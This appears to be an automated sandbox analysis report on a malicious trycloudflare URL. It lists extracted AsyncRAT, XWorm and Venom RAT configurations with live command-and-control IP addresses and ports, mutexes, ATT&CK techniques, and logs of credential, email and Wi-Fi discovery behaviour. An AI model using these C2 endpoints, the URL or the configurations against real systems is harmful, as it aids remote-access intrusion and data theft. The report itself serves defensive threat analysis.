asyncrat | hxxps://ni-olympic-forests-invoice[.]trycloudflare[.]com

Resubmissions

18/11/2024, 23:43

241118-3qqanaspdj8

18/11/2024, 23:08

241118-243bpsxbpa10

Analysis

max time kernel
1602s
max time network
1604s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18/11/2024, 23:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://ni-olympic-forests-invoice.trycloudflare.com
Sample241118-243bpsxbpa

Score

10^/10

asyncrat stealerium xworm default collection discovery execution persistence privilege_escalation rat stealer trojan

Malware Config

Extracted

Family

asyncrat

Botnet

Default

111.90.143.248:3232
111.90.143.143:3232

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

xworm

Version

111.90.143.143:7000

Mutex

mVXOUHi2OrYslEh1

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

111.90.143.248:4449

Mutex

kqsjiymxwcmgkmn

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/5424-12342-0x0000000002480000-0x000000000248E000-memory.dmp	family_xworm

Stealerium
An open source info stealer written in C# first seen in May 2022.
stealer stealerium
Stealerium family
stealerium

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 1120 created 3508	1120	pythonw.exe	56
PID 3496 created 3508	3496	pythonw.exe	56
PID 684 created 3508	684	pythonw.exe	56
PID 5680 created 3508	5680	pythonw.exe	56

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Async RAT payload 3 IoCs

rat

resource	yara_rule
behavioral2/memory/5544-12072-0x00000000021C0000-0x00000000021D6000-memory.dmp	family_asyncrat
behavioral2/memory/6084-12371-0x0000000002A50000-0x0000000002A66000-memory.dmp	family_asyncrat
behavioral2/memory/5328-12390-0x000000001BB30000-0x000000001BB48000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
104	5444	powershell.exe
123	5952	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5648	powershell.exe
5444	powershell.exe
5952	powershell.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 9 IoCs

pid	Process
2808	python.exe
3896	pythonw.exe
6008	pythonw.exe
6044	pythonw.exe
3028	pythonw.exe
1120	pythonw.exe
3496	pythonw.exe
684	pythonw.exe
5680	pythonw.exe

Loads dropped DLL 43 IoCs

pid	Process
2808	python.exe
2808	python.exe
2808	python.exe
3896	pythonw.exe
3896	pythonw.exe
6008	pythonw.exe
6008	pythonw.exe
6008	pythonw.exe
6008	pythonw.exe
6008	pythonw.exe
6008	pythonw.exe
6044	pythonw.exe
6044	pythonw.exe
6044	pythonw.exe
6044	pythonw.exe
6044	pythonw.exe
6044	pythonw.exe
3028	pythonw.exe
3028	pythonw.exe
1120	pythonw.exe
1120	pythonw.exe
1120	pythonw.exe
1120	pythonw.exe
1120	pythonw.exe
1120	pythonw.exe
3496	pythonw.exe
3496	pythonw.exe
3496	pythonw.exe
3496	pythonw.exe
3496	pythonw.exe
3496	pythonw.exe
684	pythonw.exe
684	pythonw.exe
684	pythonw.exe
684	pythonw.exe
684	pythonw.exe
684	pythonw.exe
5680	pythonw.exe
5680	pythonw.exe
5680	pythonw.exe
5680	pythonw.exe
5680	pythonw.exe
5680	pythonw.exe

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
311	icanhazip.com
315	ip-api.com
357	ip-api.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
5400	tasklist.exe
552	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2916	cmd.exe
756	netsh.exe
4612	cmd.exe
6128	netsh.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	explorer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	explorer.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133764449735918795"	chrome.exe

Modifies registry class 60 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\MRUListEx = ffffffff	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2 = 14002e8005398e082303024b98265d99428e115f0000	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 010000000200000000000000ffffffff	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	Notepad.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Downloads"	Notepad.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Documents"	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 020000000100000000000000ffffffff	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Mode = "4"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1092616257"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\LogicalViewMode = "1"	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}"	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\NodeSlot = "2"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\IconSize = "16"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2\NodeSlot = "3"	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:PID = "0"	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	Notepad.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupView = "0"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1"	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Notepad.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByDirection = "1"	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	Notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0100000000000000ffffffff	Notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1 = 14002e80922b16d365937a46956b92703aca08af0000	Notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2\MRUListEx = ffffffff	Notepad.exe

Opens file in notepad (likely ransom note) 2 IoCs

ransomware

pid	Process
4732	Notepad.exe
5996	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2224	chrome.exe
2224	chrome.exe
4656	chrome.exe
4656	chrome.exe
4656	chrome.exe
4656	chrome.exe
4092	msedge.exe
4092	msedge.exe
4128	msedge.exe
4128	msedge.exe
4304	identity_helper.exe
4304	identity_helper.exe
5444	powershell.exe
5444	powershell.exe
5444	powershell.exe
5952	powershell.exe
5952	powershell.exe
5952	powershell.exe
5648	powershell.exe
5648	powershell.exe
1120	pythonw.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
5544	explorer.exe
3496	pythonw.exe
684	pythonw.exe
5680	pythonw.exe
5328	explorer.exe
5328	explorer.exe
5328	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe
6084	explorer.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4912	OpenWith.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 23 IoCs

pid	Process
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
1120	pythonw.exe
3496	pythonw.exe
684	pythonw.exe
5680	pythonw.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe
Token: SeShutdownPrivilege	2224	chrome.exe
Token: SeCreatePagefilePrivilege	2224	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe

Suspicious use of SendNotifyMessage 56 IoCs

pid	Process
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
